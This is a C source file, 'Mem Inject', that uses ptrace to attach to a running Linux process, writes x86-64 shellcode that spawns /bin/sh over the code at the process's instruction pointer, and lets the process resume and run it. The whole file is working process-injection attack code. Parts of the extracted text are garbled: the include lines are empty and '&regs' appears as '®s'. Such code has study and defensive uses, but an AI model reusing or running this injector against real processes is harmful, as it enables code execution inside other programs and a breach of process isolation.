/* Mem Inject Copyright (c) 2016 picoFlamingo This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #define SHELLCODE_SIZE 32 unsigned char *shellcode = "\x48\x31\xc0\x48\x89\xc2\x48\x89" "\xc6\x48\x8d\x3d\x04\x00\x00\x00" "\x04\x3b\x0f\x05\x2f\x62\x69\x6e" "\x2f\x73\x68\x00\xcc\x90\x90\x90"; int inject_data (pid_t pid, unsigned char *src, void *dst, int len) { int i; uint32_t *s = (uint32_t *) src; uint32_t *d = (uint32_t *) dst; for (i = 0; i < len; i+=4, s++, d++) { if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) { perror ("ptrace(POKETEXT):"); return -1; } } return 0; } int main (int argc, char *argv[]) { pid_t target; struct user_regs_struct regs; int syscall; long dst; if (argc != 2) { fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]); exit (1); } target = atoi (argv[1]); printf ("+ Tracing process %d\n", target); if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) { perror ("ptrace(ATTACH):"); exit (1); } printf ("+ Waiting for process...\n"); wait (NULL); printf ("+ Getting Registers\n"); if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } /* Inject code into current RPI position */ printf ("+ Injecting shell code at %p\n", (void*)regs.rip); inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); regs.rip += 2; printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip); if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) { perror ("ptrace(GETREGS):"); exit (1); } printf ("+ Run it!\n"); if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) { perror ("ptrace(DETACH):"); exit (1); } return 0; }